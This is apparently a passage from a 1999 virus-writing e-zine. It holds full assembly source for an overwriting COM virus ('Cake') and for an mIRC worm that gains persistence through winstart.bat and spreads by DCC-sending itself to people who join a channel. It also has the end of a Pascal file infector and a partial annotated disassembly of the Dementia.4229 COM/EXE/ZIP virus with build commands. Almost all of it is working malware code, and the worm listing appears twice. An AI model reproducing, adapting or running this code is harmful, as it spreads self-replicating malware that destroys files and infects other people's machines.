          Temp := UpperCase(EnvStr(i));

          IF Copy(Temp, 1, 8) = 'COMSPEC=' THEN

             Infect_File(Copy(Temp, 9, Length(Temp)-8));

          IF Copy(Temp, 1, 7) = 'WINDIR=' THEN

             Infect_File(Copy(Temp, 8, Length(Temp)-7) + '\WIN.COM');

     END;

END;

PROCEDURE Init_Program;

BEGIN

     Randomize;

     Infect_Counter := 0;

     Assign(Work_File, ParamStr(0));

     Reset(Work_File, 1);

     BlockRead(Work_File, Virus_Buffer, Virus_Size);

     Close(Work_File);

END;

BEGIN

     Init_Program;

     Infect_System;

     Scan_Tree('\');

     IF Pos('MRFLOPPY.EXE', ParamStr(0)) > 0 THEN Exit;

     Infect_Counter := 0;   { Since we need to re-infect our host. }

     Assign(Work_File, ParamStr(0));

     Init_Open;

     Seek(Work_File, (FileSize(Work_File) - Virus_Size)-1);

     BlockRead(Work_File, Work_Buffer, Virus_Size+1);

     Crypt_Buffer;

     Seek(Work_File, 0);

     BlockWrite(Work_File, Work_Buffer, Virus_Size);

     Seek(Work_File, (FileSize(Work_File) - Virus_Size)-1);

     Truncate(Work_File);

     Init_Close;

     Host_Parameters := '';

     FOR i := 1 TO ParamCount DO

         Host_Parameters := Host_Parameters + ParamStr(i) + ' ';

     SwapVectors;                           { Re-execute the restored host. }

     Exec(ParamStr(0), Host_Parameters);

     SwapVectors;

     Infect_File(ParamStr(0));              { Re-infect the host. }

     { Never displayed message. }

     IF 'Hell' = 'Freezing over' THEN

     BEGIN

          WriteLn('MrFloppy continues to live on...');

          WriteLn('(C) Feb/Mar-1999, made by Dark Weenie.');

     END;

END.


ASM
Cake 0.1 by Sblip

pr0n Worm by nUcLeii

Disassembly of Dementia.4229 by Darkman / 29A

Disassembly of Bones AKA Stoned.t by Buz / FS

Zerg v0.1 beta by Dark Slayer

Sisters by Techno Phunk / TI

Metaphase Issue #2


ASM
Cake 0.1 by Sblip

pr0n Worm by nUcLeii

Disassembly of Dementia.4229 by Darkman / 29A

Disassembly of Bones AKA Stoned.t by Buz / FS

Zerg v0.1 beta by Dark Slayer

Sisters by Techno Phunk / TI

Metaphase Issue #2


Cake 0.1 by Sblip

; Cake 0.1

; Sblip

; 4:22 am 3-6-99

; this is my first attempt at a virus in asm. it's a com OW, which overwrites all

; com files in the current directory. it doesnt do dir traversal, it's not encrypted,

; it's not ANYTHING. And don't make fun of me in #vir, i'm learning :)

; peace out

blip segment

assume cs:blip

org 100h

first:

mov ah,4eh	; 4eh = find first file

get:

xor cx,cx	 	; xor with self = 0

lea dx,sig	; dx = what type files (*.com)

int 21h

jc payload	; jump to payload if no files found

open:

mov ax,3d02h	; rw permissions

mov dx,9eh	; 9eh = file name in DTA

int 21h

infect:

xchg bx,ax	; do this.

mov cx,offset cake - offset first ; # bytes

lea dx,first	; where to start writing from

mov ah,40h	; 40h = write to file

int 21h	; UNF UNF UNF UNF!!!!!!!!!  hi nUc :)

close:

mov ah,3eh	; close that (infected) bitch.

int 21h	; yea, unf.

next:

mov ah,4fh	; get next

jmp get	; get smore baby !

payload:

int 20h	; beam me up, DOS.

sig db "*.com",0

cake label near

blip ends

end first


pr0n Worm by nUcLeii

Comment %

 IRC.pr0n.bat v1.1

 This is a very simple worm that exploits the mIRC client to spread

 to a remote host. This code begins by being executed from pr0n.bat.

 Then it copies itself to pr0n.com and passes control to it, killing

 the batch file with a ctrl-z handler. Next pr0n.com deleats itself,

 then drops encrypted pr0n.bat in parent directorys. Now it sets the

 default drive to C:\, moves to \windows\system and drops pr0n.bat

 untill it hits r00t. Then it drops itself as winstart.bat so it can

 be ran everytime windows boots. Finally, it searchs for mirc to be

 installed in 4 diffrent places. If found then it drops a script.ini

 that will become active the next time mirc is started. It uses this

 mirc script to spread to remote hosts and thus starting its life all

 over again. This code is sloppy+bulky and no, i don't care about this

 being optimized in any way, shape, or form. Some things are better

 off left alone.

 Yes i have had spare time to code. No, i have not had a clear enough

 head to code anything worthwhile. Stress and drama sux0rs.

 To the people in my life who act like worms... whatever that means.

 Note:

 This worked with whatever version of mirc was our in late febuary

 1999. At the time dcc did ignore com/exe/ini files by default, but

 not batch files...

%

.model tiny

.code

   code segment

      assume cs:code,ds:code

      org 100h

start:

db	'@ECHO OFF',0dh,0ah

db	':'	                        ; batch code

jmp	com_code

db	0dh,0ah

db	'copy %0 pr0n.com>NUL',0dh,0ah

db	'pr0n.com',0dh,0ah

db	1ah

com_code:

call	delta

delta:

pop	bp

sub	bp,offset delta

encryptor:

        jmp     notnow

        lea     si,[bp+encrypted]

        mov     di,si

        call    encryption

        jmp     short encrypted

encryption:	                                ; just to hide the text

        lodsw

        xor     ax,word ptr [bp+decrypt]

        stosw

        loop    encryption

        ret

decrypt	dw	?	; encrypt with a random key

encrypted:

mov	ah,41h	; delete our com file

xor	cx,cx

lea	dx,[bp+comfile]

int	21h

mov	ah,47h	                        ; save of current directory

lea	si,[bp+org_dir]

xor	dl,dl

int	21h

mov	ah,19h	                        ; save current default drive

int	21h

mov	byte ptr [bp+disk],al

call	copyme	                        ; drop worm untill root

                                        ; why? because its stupid.

mov	ah,0eh	                        ; set default drive to c:\

mov	dl,02h

int	21h

lea	dx,[bp+r00t]	                ; move to c:\windows\system

call	dirchange

jc	remo

call	copyme

mov     ah,3ch	                        ; create winstart file

xor     cx,cx

lea     dx,[bp+win]

push	dx

int     21h

mov     ax,3d02h	                ; open it

pop	dx

int     21h

call	winst

remo:

lea	dx,[bp+dir1]	; move to c:\mirc

call	dirchange

jnc	searchm

lea	dx,[bp+dir2]	; move to c:\mirc32

call	dirchange

jnc	searchm

lea	dx,[bp+dir3]	; move to c:\progra~1\mirc

call	dirchange

jnc	searchm

lea	dx,[bp+dir4]	; move to c:\progra~1\mirc32

call	dirchange

jc	exit

searchm:

mov	ah,41h

lea	dx,[bp+mircs]	                ; avoid script problems.

int	21h

push	bx

mov	ah,3ch	                        ; create new script.ini

lea	dx,[bp+mircs]

xor	cx,cx

int	21h

xchg	bx,ax

mov	ah,40h	                        ; write our wack script

lea	dx,[bp+scriptS]	                ; for this lame code

mov	cx,scriptE-scriptS

int	21h

mov	ah,3eh

int	21h

pop	bx

exit:

mov	ah,0eh	                        ; restore default drive

mov	dl,byte ptr [bp+disk]

int	21h

lea	dx,[bp+org_dir]	                ; restore original directory

call	dirchange

mov     ax,4c00h	                ; im out.

int     21h

copyme:

jc	return

        mov     ah,4eh

        lea     dx,[bp+wormN]

        mov     cx,7

int	21h

jnc	parent

mov     ah,3ch	                        ; create new file

xor     cx,cx

lea     dx,[bp+wormN]

int     21h

mov     ax,3d02h

lea     dx,[bp+wormN]	; open it

int     21h

winst:

xchg    bx,ax

        in      ax,40h	                        ; get random value from clock

        mov     word ptr [bp+decrypt],ax	; save as our key

mov     ah,40h

push	ax

lea     dx,[bp+start]	                ; write our decryptor

mov     cx,encrypted-start

int     21h

lea	di,[bp+heap]	                ; encrypt our code

push	di

lea	si,[bp+encrypted]

mov	cx,endow-encrypted

push    cx

call    encryption

        pop     cx

        pop     dx

pop	ax

        int     21h	                        ; write our encrypted code

mov     ah,3eh

int     21h

parent:

lea     dx,[bp+dotdot]	                ; hah.

call	dirchange

jmp	copyme

return:

ret	; return to caller

dirchange:

mov	ah,3bh

int	21h

ret

scriptS:

db '[script]',0dh,0ah

db 'n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick '

db 'c:\windows\pr0n.bat }',0dh,0ah

scriptE:

dotdot	db '..',0

win	db 'winstart.bat',0

r00t	db 'c:\windows\system',0

dir1	db 'c:\mirc',0

dir2	db 'c:\mirc32',0

dir3	db 'c:\progra~1\mirc',0

dir4	db 'c:\progra~1\mirc32',0

mircs   db 'script.ini',0

wormN	db 'pr0n.bat',0

comfile	db 'pr0n.com',0

vname   db 'IRC-pr0n.bat v1.1 (c) nucleii 1999',0

endow label near

org_dir db 64 dup  (?)

Comment %

 IRC.pr0n.bat v1.1

 This is a very simple worm that exploits the mIRC client to spread

 to a remote host. This code begins by being executed from pr0n.bat.

 Then it copies itself to pr0n.com and passes control to it, killing

 the batch file with a ctrl-z handler. Next pr0n.com deleats itself,

 then drops encrypted pr0n.bat in parent directorys. Now it sets the

 default drive to C:\, moves to \windows\system and drops pr0n.bat

 untill it hits r00t. Then it drops itself as winstart.bat so it can

 be ran everytime windows boots. Finally, it searchs for mirc to be

 installed in 4 diffrent places. If found then it drops a script.ini

 that will become active the next time mirc is started. It uses this

 mirc script to spread to remote hosts and thus starting its life all

 over again. This code is sloppy+bulky and no, i don't care about this

 being optimized in any way, shape, or form. Some things are better

 off left alone.

 Yes i have had spare time to code. No, i have not had a clear enough

 head to code anything worthwhile. Stress and drama sux0rs.

 To the people in my life who act like worms... whatever that means.

 Note:

 This worked with whatever version of mirc was our in late febuary

 1999. At the time dcc did ignore com/exe/ini files by default, but

 not batch files...

%

.model tiny

.code

   code segment

      assume cs:code,ds:code

      org 100h

start:

db	'@ECHO OFF',0dh,0ah

db	':'	                        ; batch code

jmp	com_code

db	0dh,0ah

db	'copy %0 pr0n.com>NUL',0dh,0ah

db	'pr0n.com',0dh,0ah

db	1ah

com_code:

call	delta

delta:

pop	bp

sub	bp,offset delta

encryptor:

        jmp     notnow

        lea     si,[bp+encrypted]

        mov     di,si

        call    encryption

        jmp     short encrypted

encryption:	                                ; just to hide the text

        lodsw

        xor     ax,word ptr [bp+decrypt]

        stosw

        loop    encryption

        ret

decrypt	dw	?	; encrypt with a random key

encrypted:

mov	ah,41h	; delete our com file

xor	cx,cx

lea	dx,[bp+comfile]

int	21h

mov	ah,47h	                        ; save of current directory

lea	si,[bp+org_dir]

xor	dl,dl

int	21h

mov	ah,19h	                        ; save current default drive

int	21h

mov	byte ptr [bp+disk],al

call	copyme	                        ; drop worm untill root

                                        ; why? because its stupid.

mov	ah,0eh	                        ; set default drive to c:\

mov	dl,02h

int	21h

lea	dx,[bp+r00t]	                ; move to c:\windows\system

call	dirchange

jc	remo

call	copyme

mov     ah,3ch	                        ; create winstart file

xor     cx,cx

lea     dx,[bp+win]

push	dx

int     21h

mov     ax,3d02h	                ; open it

pop	dx

int     21h

call	winst

remo:

lea	dx,[bp+dir1]	; move to c:\mirc

call	dirchange

jnc	searchm

lea	dx,[bp+dir2]	; move to c:\mirc32

call	dirchange

jnc	searchm

lea	dx,[bp+dir3]	; move to c:\progra~1\mirc

call	dirchange

jnc	searchm

lea	dx,[bp+dir4]	; move to c:\progra~1\mirc32

call	dirchange

jc	exit

searchm:

mov	ah,41h

lea	dx,[bp+mircs]	                ; avoid script problems.

int	21h

push	bx

mov	ah,3ch	                        ; create new script.ini

lea	dx,[bp+mircs]

xor	cx,cx

int	21h

xchg	bx,ax

mov	ah,40h	                        ; write our wack script

lea	dx,[bp+scriptS]	                ; for this lame code

mov	cx,scriptE-scriptS

int	21h

mov	ah,3eh

int	21h

pop	bx

exit:

mov	ah,0eh	                        ; restore default drive

mov	dl,byte ptr [bp+disk]

int	21h

lea	dx,[bp+org_dir]	                ; restore original directory

call	dirchange

mov     ax,4c00h	                ; im out.

int     21h

copyme:

jc	return

        mov     ah,4eh

        lea     dx,[bp+wormN]

        mov     cx,7

int	21h

jnc	parent

mov     ah,3ch	                        ; create new file

xor     cx,cx

lea     dx,[bp+wormN]

int     21h

mov     ax,3d02h

lea     dx,[bp+wormN]	; open it

int     21h

winst:

xchg    bx,ax

        in      ax,40h	                        ; get random value from clock

        mov     word ptr [bp+decrypt],ax	; save as our key

mov     ah,40h

push	ax

lea     dx,[bp+start]	                ; write our decryptor

mov     cx,encrypted-start

int     21h

lea	di,[bp+heap]	                ; encrypt our code

push	di

lea	si,[bp+encrypted]

mov	cx,endow-encrypted

push    cx

call    encryption

        pop     cx

        pop     dx

pop	ax

        int     21h	                        ; write our encrypted code

mov     ah,3eh

int     21h

parent:

lea     dx,[bp+dotdot]	                ; hah.

call	dirchange

jmp	copyme

return:

ret	; return to caller

dirchange:

mov	ah,3bh

int	21h

ret

scriptS:

db '[script]',0dh,0ah

db 'n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick '

db 'c:\windows\pr0n.bat }',0dh,0ah

scriptE:

dotdot	db '..',0

win	db 'winstart.bat',0

r00t	db 'c:\windows\system',0

dir1	db 'c:\mirc',0

dir2	db 'c:\mirc32',0

dir3	db 'c:\progra~1\mirc',0

dir4	db 'c:\progra~1\mirc32',0

mircs   db 'script.ini',0

wormN	db 'pr0n.bat',0

comfile	db 'pr0n.com',0

vname   db 'IRC-pr0n.bat v1.1 (c) nucleii 1999',0

endow label near

org_dir db 64 dup  (?)

disk	db ?

notnow:

        lea     di,[bp+encryptor]

        lea     si,[bp+newbytes]

        movsw

        movsb

        jmp     encrypted

newbytes:

        mov     cx,(endow-encrypted+1)/2

heap:

code ends

     end start


Disassembly of Dementia.4229 by Darkman / 29A

comment *

     Dementia.4229

     Disassembly by

      Darkman/29A

  Dementia.4229 is a 4229 bytes parasitic resident COM/EXE/ZIP virus. Infects

  files at close file, open file and load and/or execute program by appending

  the virus to the infected COM/EXE file and storing in the infected ZIP file.

  Dementia.4229 has an error handler, 16-bit exclusive OR (XOR) encryption in

  file and is using archive infection technique.

  To compile Dementia.4229 with Turbo Assembler v 4.0 type:

    TASM /M DEMENTI_.ASM

    TLINK /x DEMENTI_.OBJ

    EXE2BIN DEMENTI_.EXE DEMENTI_.COM

*

.model tiny

.code

code_begin:

     call    delta_offset

delta_offset:

     pop     si 	 ; Load SI from stack

     add     si,(crypt_begin-delta_offset-02h)

     mov     di,si	 ; DI = offset of code_end - 02h

     std	 ; Set direction flag

     mov     cx,(crypt_begin-crypt_end-02h)/02h

decrypt_key  equ     word ptr $+01h	 ; Decryption key

     mov     dx,00h	 ; DX = decryption key

     push    cs cs	 ; Save segments at stack

     pop     ds es	 ; Load segments from stack (CS)

decrypt_loop:

     lodsw	 ; AX = word of encrypted code

     xor     ax,dx	 ; Decrypt two bytes

     stosw	 ; Store two plain bytes

     jmp     crypt_end

     nop

     nop

crypt_end:

     loop    decrypt_loop

     cld	 ; Clear direction flag

     push    cs 	 ; Save CS at stack

     sub     si,(crypt_end-code_begin)

     nop

     mov     cl,04h	 ; Divide by paragraphs

     shr     si,cl	 ; SI = offset of crypt_end in para...

     mov     ax,cs	 ; AX = code segment

     add     ax,si	 ; Add code segment to delta offset...

     push    ax 	 ; Save AX at stack

     lea     ax,virus_begin	 ; AX = offset of virus_begin

     push    ax 	 ; Save AX at stack

     retf	 ; Return far!

virus_begin:

     push    cs 	 ; Save CS at stack

     pop     ds 	 ; Load DS from stack (CS)

     pop     ax 	 ; Load AX from stack (CS)

     mov     [code_seg_],ax	 ; Store code segment

     mov     bx,1492h	 ; Dementia.4229 function

     call    close_file

     cmp     bx,1776h	 ; Already resident?

     je      virus_exit 	 ; Equal? Jump to virus_exit

     call    install

virus_exit:

     mov     ah,[com_or_exe]	 ; AH = COM or EXE executable?

     cmp     ah,00h	 ; COM executable?

     nop

     je      vir_com_exit	 ; Equal? Jump to vir_com_exit

     mov     ax,[code_seg_]	 ; AX = code segment

     mov     bx,[initial_cs]	 ; AX = initial CS relative to star...

     sub     ax,bx	 ; Subtract initial CS relative to ...

     mov     dx,ax	 ; DX = segment of PSP for current ...

     mov     bx,[code_seg]	 ; BX = original code segment

     add     ax,bx	 ; Add original code segment to seg...

     mov     [code_seg],ax	 ; Store original code segment

     xchg    ax,dx	 ; AX = segment of current PSP proc...

     cli	 ; Clear interrupt-enable flag

     mov     bx,[stack_seg]	 ; BX = original stack segment

     add     ax,bx	 ; Add original stack segment to se...

     mov     ss,ax	 ; SS = original stack segment

     mov     ax,[stack_ptr]	 ; AX = original stack pointer

     mov     sp,ax	 ; SP =    "       "      "

     sti	 ; Set interrupt-enable flag

     mov     ah,62h	 ; Get current PSP address

     int     21h

     mov     ds,bx	 ; DS = segment of PSP for current ...

     mov     es,bx	 ; ES = segment of PSP for current ...

     xor     ax,ax	 ; Zero AX

     xor     bx,bx	 ; Zero BX

     xor     cx,cx	 ; Zero CX

     xor     dx,dx	 ; Zero DX

     xor     si,si	 ; Zero SI

     xor     di,di	 ; Zero DI

     jmp     dword ptr cs:[instruct_ptr]

vir_com_exit:

     mov     di,100h	 ; DI = offset of beginning of code

     lea     si,origin_code	 ; SI = offset of origin_code

     nop

     movsw	 ; Move the original code to beginning

     movsb	 ;  "    "     "      "   "      "

     push    es 	 ; Save ES at stack

     mov     ax,100h	 ; AX = offset of beginning of code

     push    ax 	 ; Save AX at stack

     xor     ax,ax	 ; Zero AX

     xor     bx,bx	 ; Zero BX

     xor     cx,cx	 ; Zero CX

     xor     dx,dx	 ; Zero DX

     xor     si,si	 ; Zero SI

     xor     di,di	 ; Zero DI

     push    es 	 ; Save ES at stack

     pop     ds 	 ; Load DS from stack (ES)

     retf	 ; Return far!

upcase_char  proc    near	 ; Upcase character

     cmp     al,'a'              ; Lowcase character?

     jl      dont_upcase	 ; Less? Jump to dont_upcase

     cmp     al,'z'              ; Lowcase character?

     jg      dont_upcase	 ; Greater? Jump to dont_upcase

     sub     al,20h	 ; Upcase character

dont_upcase:

     ret	 ; Return!

     endp

int21_virus  proc    near	 ; Interrupt 21h of Dementia.4229

     pushf	 ; Save flags at stack

     cld	 ; Clear direction flag

     cmp     ah,3eh	 ; Close file?

     jne     tst_open_fil	 ; Not equal? Jump to tst_open_fil

     cmp     bx,1492h	 ; Dementia.4229 function?

     jne     tst_open_fil	 ; Not equal? Jump to tst_open_fil

     mov     bx,1776h	 ; Already resident

     popf	 ; Load flags from stack

     iret	 ; Interrupt return!

tst_open_fil:

     cmp     ah,3dh	 ; Open file

     jne     tst_load_and	 ; Not equal? Jump to tst_load_and

     cmp     al,0ffh	 ; Dementia.4229 function

     je      dementia_fun	 ; Equal? Jump to dementia_fun

     push    ax si	 ; Save registers at stack

     mov     si,dx	 ; SI = offset of filename

find_dot:

     lodsb	 ; AL = byte of filename

     cmp     al,00h	 ; End of filename?

     je      open_fi_exit	 ; Equal? Jump to open_fi_exit

     cmp     al,'.'              ; Found the dot in the filename

     jne     find_dot	 ; Not equal? Jump to find_dot

     lodsb	 ; AL = byte of extension

     call    upcase_char

     cmp     al,'C'              ; COM executable?

     jne     tst_exe_exec	 ; Not equal? Jump to tst_exe_exec

     lodsb	 ; AL = byte of extension

     call    upcase_char

     cmp     al,'O'              ; COM executable?

     jne     open_fi_exit	 ; Not equal? Jump to open_fi_exit

     lodsb	 ; AL = byte of extension

     call    upcase_char

     cmp     al,'M'              ; COM executable?

     jne     open_fi_exit	 ; Not equal? Jump to open_fi_exit

     call    inf_com_exe

     jmp     open_fi_exit

     nop

     nop

tst_exe_exec:

     cmp     al,'E'              ; EXE executable?

     jne     tst_zip_arch	 ; Not equal? Jump to tst_zip_arch

     lodsb	 ; AL = byte of extension

     call    upcase_char

     cmp     al,'X'              ; EXE executable?

     jne     open_fi_exit	 ; Not equal? Jump to open_fi_exit

     lodsb	 ; AL = byte of extension

     call    upcase_char

     cmp     al,'E'              ; EXE executable?

     jne     open_fi_exit	 ; Not equal? Jump to open_fi_exit

     call    inf_com_exe

     jmp     open_fi_exit

     nop

     nop

tst_zip_arch:

     cmp     al,'Z'              ; ZIP archive?

     jne     open_fi_exit	 ; Not equal? Jump to open_fi_exit

     lodsb	 ; AL = byte of extension

     call    upcase_char

     cmp     al,'I'              ; ZIP archive?

     jne     open_fi_exit	 ; Not equal? Jump to open_fi_exit

     lodsb	 ; AL = byte of extension

     call    upcase_char

     cmp     al,'P'              ; ZIP archive?

     jne     open_fi_exit	 ; Not equal? Jump to open_fi_exit

     call    infect_zip

     jmp     open_fi_exit

     nop

     nop

open_fi_exit:

     pop     si ax	 ; Load registers from stack

     jmp     tst_load_and

     nop

     nop

dementia_fun:

     mov     al,02h	 ; Dementia.4229 function

tst_load_and:

     cmp     ah,4bh	 ; Load and/or execute program?

     jne     int21_exit 	 ; Not equal? Jump to int21_exit

     call    inf_com_exe

int21_exit:

     popf	 ; Load flags from stack

     jmp     cs:[int21_addr]

     endp

install      proc    near	 ; Allocate memory, move virus to t...

     push    es 	 ; Save ES at stack

     mov     ah,52h	 ; Get list of lists

     int     21h

     mov     ax,es:[bx-02h]	 ; AX = segment of first memory con...

next_mcb:

     mov     ds,ax	 ; DS = segment of current memory c...

     mov     al,ds:[00h]	 ; AL = block type

     cmp     al,'Z'              ; Last block in chain?

     je      allocate_mem	 ; Equal? Jump to allocate_mem

     mov     ax,ds	 ; AX = segment of current memory c...

     mov     bx,ds:[03h]	 ; BX = size of memory block in par...

     add     ax,bx	 ; Add size of memory block in para...

     inc     ax 	 ; AX = segment of next memory cont...

     jmp     next_mcb

allocate_mem:

     mov     bx,ds:[03h]	 ; BX = size of memory block in par...

     sub     bx,(code_end-code_begin+0fh)/10h*02h

     mov     ds:[03h],bx	 ; Store new size of memory control...

     mov     ax,ds	 ; AX = segment of last memory cont...

     add     ax,bx	 ; Add new size of memory block in ...

     inc     ax 	 ; AX = segment of virus

     mov     es,ax	 ; ES =    "    "    "

     push    cs 	 ; Save CS at stack

     pop     ds 	 ; Load DS from stack (CS)

     xor     si,si	 ; Zero SI

     xor     di,di	 ; Zero DI

     mov     cx,(code_end-code_begin)

     rep     movsb	 ; Move virus to top of memory

     push    es 	 ; Save ES at stack

     lea     ax,install_	 ; AX = offset of install_

     push    ax 	 ; Save AX at stack

     retf	 ; Return far!

install_:

     push    cs 	 ; Save CS at stack

     pop     ds 	 ; Load DS from stack (CS)

     mov     ax,3521h	 ; Get interrupt vector 21h

     int     21h

     mov     word ptr [int21_addr+02h],es

     mov     word ptr [int21_addr],bx

     lea     dx,int21_virus	 ; DX = offset of int21_virus

     mov     ax,2521h	 ; Set interrupt vector 21h

     int     21h

     pop     es 	 ; Load ES from stack

     ret	 ; Return!

     endp

inf_com_exe  proc    near	 ; Infect COM/EXE file

     push    bp 	 ; Save BP at stack

     mov     bp,sp	 ; BP = stack pointer

     sub     sp,06h	 ; Correct stack pointer

     push    ax bx cx dx si di ds es

     call    int24_store

     call    open_file

     jc      com_exe_exit	 ; Error? Jump to com_exe_exit

     call    load_info

     and     cx,0000000000011111b

     cmp     cx,0000000000000001b

     je      call_close 	 ; Already infected? Jump to call_c...

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h

     mov     ds,ax	 ; DS = segment of data buffer

     mov     cx,20h	 ; Read thirty-two bytes

     call    read_file

     mov     ax,ds:[00h]	 ; AX = EXE signature

     cmp     ax,'MZ'             ; Found EXE signature?

     je      call_infect	 ; Equal? Jump to call_infect

     cmp     ax,'ZM'             ; Found EXE signature?

     je      call_infect	 ; Equal? Jump to call_infect

     call    infect_com

     jmp     call_mark

     nop

     nop

call_infect:

     call    infect_exe

call_mark:

     call    infect_mark

call_close:

     call    close_file

com_exe_exit:

     call    int24_load

     pop     es ds di si dx cx bx ax

     mov     sp,bp	 ; SP = stack pointer

     pop     bp 	 ; Load BP from stack

     ret	 ; Return!

     endp

infect_zip   proc    near	 ; Infect ZIP archive

     push    bp 	 ; Save BP at stack

     mov     bp,sp	 ; BP = stack pointer

     sub     sp,28h	 ; Correct stack pointer

     push    ax bx cx dx si di ds es

     xor     ax,ax	 ; Didn't found file

     mov     [bp-0eh],ax	 ; Store didn't found CALLFAST.COM

     mov     [bp-10h],ax	 ;   "     "      "   REQUEST.IVA

     mov     [bp-12h],ax	 ;   "     "      "   RECEIPT.IVA

     call    int24_store

     push    dx ds	 ; Save registers at stack

     lea     dx,temp_file	 ; DX = offset of temp_file

     nop

     call    create_file

     mov     [bp-0ah],ax	 ; Store file handle of !#TEMP#!

     pop     ds dx	 ; Load registers from stack

     call    open_file

     jnc     load_info_ 	 ; No error? Jump to load_info_

     jmp     inf_zip_exit

load_info_:

     mov     [bp-08h],ax	 ; Store file handle of ZIP file

     call    load_info

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h

     mov     ds,ax	 ; DS = segment of data buffer

next_lfh_sig:

     mov     cx,04h	 ; Read four bytes

     call    read_file

     mov     ax,ds:[00h]	 ; AX = low-order word of file head...

     cmp     ax,'KP'             ; Found low-order word of file ha...?

     je      test_dir_sig	 ; Equal? Jump to test_dir_sig

     jmp     call_mark_

test_dir_sig:

     mov     ax,ds:[02h]	 ; AX = high-order word of file hea...

     cmp     ax,201h	 ; Found high-order word of central...

     jne     read_lfh	 ; Not equal? Jump to read_lfh

     jmp     zero_cdh_num

read_lfh:

     mov     cx,1ah	 ; Read twenty-six bytes

     call    read_file

     mov     cx,ds:[16h]	 ; CX = filename length

     mov     dx,20h	 ; DI = offset of filename

     call    read_file_

     push    cs 	 ; Save CS at stack

     pop     es 	 ; Load ES from stack (CS)

     lea     di,request_iva	 ; DI = offset of request_iva

     nop

     mov     si,20h	 ; SI = offset of filename

request_loop:

     lodsb	 ; AL = byte of filename

     mov     ah,es:[di] 	 ; AH = byte of request_iva

     inc     di 	 ; Increase index register

     cmp     ah,00h	 ; End of filename?

     je      found_reques	 ; Equal? Jump to found_reques

     cmp     ah,al	 ; Byte of filename equal to byte o...

     jne     find_callfas	 ; Not equal? Jump to find_callfas

     jmp     request_loop

found_reques:

     mov     ax,01h	 ; Found REQUEST.IVA

     mov     [bp-10h],ax	 ; Store found REQUEST.IVA

     xor     cx,cx	 ; Zero CX

     xor     dx,dx	 ; Zero DX

     call    set_pos_cfp

     mov     [bp-24h],ax	 ; AX = low-order word of extra field

     mov     [bp-22h],dx	 ; DX = high-order word of extra field

find_callfas:

     lea     di,callfast_com	 ; DI = offset of callfast_com

     nop

     mov     si,20h	 ; SI = offset of filename

callfas_loop:

     lodsb	 ; AL = byte of filename

     mov     ah,es:[di] 	 ; AH = byte of callfast_com

     inc     di 	 ; Increase index register

     cmp     ah,00h	 ; End of filename?

     je      found_callfa	 ; Equal? Jump to found_callfa

     cmp     ah,al	 ; Byte of filename equal to byte o...

     jne     find_receipt	 ; Not equal? Jump to find_receipt

     jmp     callfas_loop

found_callfa:

     mov     ax,01h	 ; Found CALLFAST.COM

     mov     [bp-0eh],ax	 ; Store found CALLFAST.COM

find_receipt:

     lea     di,receipt_iva	 ; DI = offset of receipt_iva

     nop

     mov     si,20h	 ; SI = offset of filename

receipt_loop:

     lodsb	 ; AL = byte of filename

     mov     ah,es:[di] 	 ; AH = byte of receipt_iva

     inc     di 	 ; Increase index register

     cmp     ah,00h	 ; End of filename?

     je      found_receip	 ; Equal? Jump to found_receip

     cmp     ah,al	 ; Byte of filename equal to byte o...

     jne     calc_lfh_ptr	 ; Not equal? Jump to calc_lfh_ptr

     jmp     receipt_loop

found_receip:

     mov     ax,01h	 ; Found RECEIPT.IVA

     mov     [bp-12h],ax	 ; Store found RECEIPT.IVA

calc_lfh_ptr:

     mov     dx,ds:[0eh]	 ; DX = low-order word of compresse...

     mov     cx,ds:[10h]	 ; CX = high-order word of compress...

     mov     ax,ds:[18h]	 ; AX = extra field length

     add     dx,ax	 ; Add extra field length to compre...

     adc     cx,00h	 ; Convert to 32-bit

     call    set_pos_cfp

     jmp     next_lfh_sig

zero_cdh_num:

     xor     ax,ax	 ; No central directory file header...

     mov     [bp-0ch],ax	 ; Store no central directory file ...

copy_cds:

     mov     ax,[bp-0ch]	 ; AX = number of central directory...

     inc     ax 	 ; Increase number of central direc...

     mov     [bp-0ch],ax	 ; Store number of central director...

     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file

     mov     cx,2ah	 ; Read forty-two bytes

     call    read_file

     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!

     call    write_file_

     mov     cx,ds:[18h]	 ; CX = filename length

     mov     bx,ds:[1ah]	 ; BX = extra field length

     add     cx,bx	 ; Add extra field length to filena...

     mov     bx,ds:[1ch]	 ; BX = file comment length

     add     cx,bx	 ; CX = number of bytes to read

     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file

     call    read_file_

     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!

     call    write_file_

     mov     cx,04h	 ; Read four bytes

     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file

     call    read_file_

     mov     ax,ds:[00h]	 ; AX = low-order word of end of ce...

     cmp     ax,'KP'             ; Found low-order word of end of ...?

     je      test_eoc_sig	 ; Equal? Jump to test_eoc_sig

     jmp     call_mark_

test_eoc_sig:

     mov     ax,ds:[02h]	 ; AX = high-order word of end of c...

     cmp     ax,605h	 ; Found high-order word of end of ...

     je      copy_eocds 	 ; Equal? Jump to read_oecds

     jmp     copy_cds

copy_eocds:

     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file

     mov     cx,12h	 ; Read eightteen bytes

     call    read_file

     mov     ax,ds:[0ch]	 ; AX = low-order word of offset of...

     mov     [bp-18h],ax	 ; Store low-order word of offset o...

     mov     ax,ds:[0eh]	 ; AX = high-order word of offset o...

     mov     [bp-16h],ax	 ; Store high-order word of offset ...

     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!

     call    write_file_

     mov     cx,ds:[10h]	 ; CX = zipfile comment length

     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file

     call    read_file_

     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!

     call    write_file_

     mov     ax,[bp-10h]	 ; AX = found REQUEST.IVA

     or      ax,ax	 ; Didn't found REQUEST.IVA

     jz      test_callfas	 ; Zero? Jump to test_callfas

     jmp     test_receipt

test_callfas:

     mov     ax,[bp-0eh]	 ; AX = found CALLFAST.COM

     or      ax,ax	 ; Didn't found CALLFAST.COM

     jz      create_file_	 ; Zero? Jump to create_file_

     jmp     call_mark_

create_file_:

     lea     dx,callfast_com	 ; DX = offset of callfast_com

     nop

     call    create_file

